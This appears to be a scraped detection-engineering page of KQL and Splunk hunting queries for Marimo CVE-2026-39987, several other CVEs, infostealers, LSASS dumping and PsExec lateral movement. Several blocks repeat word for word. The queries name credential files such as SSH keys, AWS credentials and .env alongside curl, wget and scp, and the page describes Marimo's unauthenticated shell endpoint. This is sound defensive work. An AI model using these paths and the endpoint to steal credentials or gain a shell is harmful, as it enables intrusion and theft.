| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-11-124 use cases0 techniques3 kill-chain phases detected
WatchGuard Fireware OS iked process contains an out of bounds write vulnerability in the OS iked process. This vulnerability may allow a remote unauthenticated attacker to execute arbitrary code and affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer. Vendor: WatchGuard, Product: Firebox. Federal patch due: 2025-12-26.
CVEsCVE-2025-14733
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-14733")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-14733")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-11-124 use cases0 techniques3 kill-chain phases detected
Microsoft Windows Kernel contains a race condition vulnerability that allows a local attacker with low-level privileges to escalate privileges. Successful exploitation of this vulnerability could enable the attacker to gain SYSTEM-level access. Vendor: Microsoft, Product: Windows. Federal patch due: 2025-12-03.
CVEsCVE-2025-62215
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-62215")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-62215")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
2025-11-104 use cases0 techniques3 kill-chain phases detected
Samsung mobile devices contain an out-of-bounds write vulnerability in libimagecodec.quram.so. This vulnerability could allow remote attackers to execute arbitrary code. Vendor: Samsung, Product: Mobile Devices. Federal patch due: 2025-12-01.
CVEsCVE-2025-21042
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-21042")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-21042")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] RomCom CVE-2025-8088 WinRAR ADS path-traversal drops payload into Startup
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] InedibleOchotense fake-ESET installer beaconing to spoofed esetsmart/esetscanner/esetremover domains
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
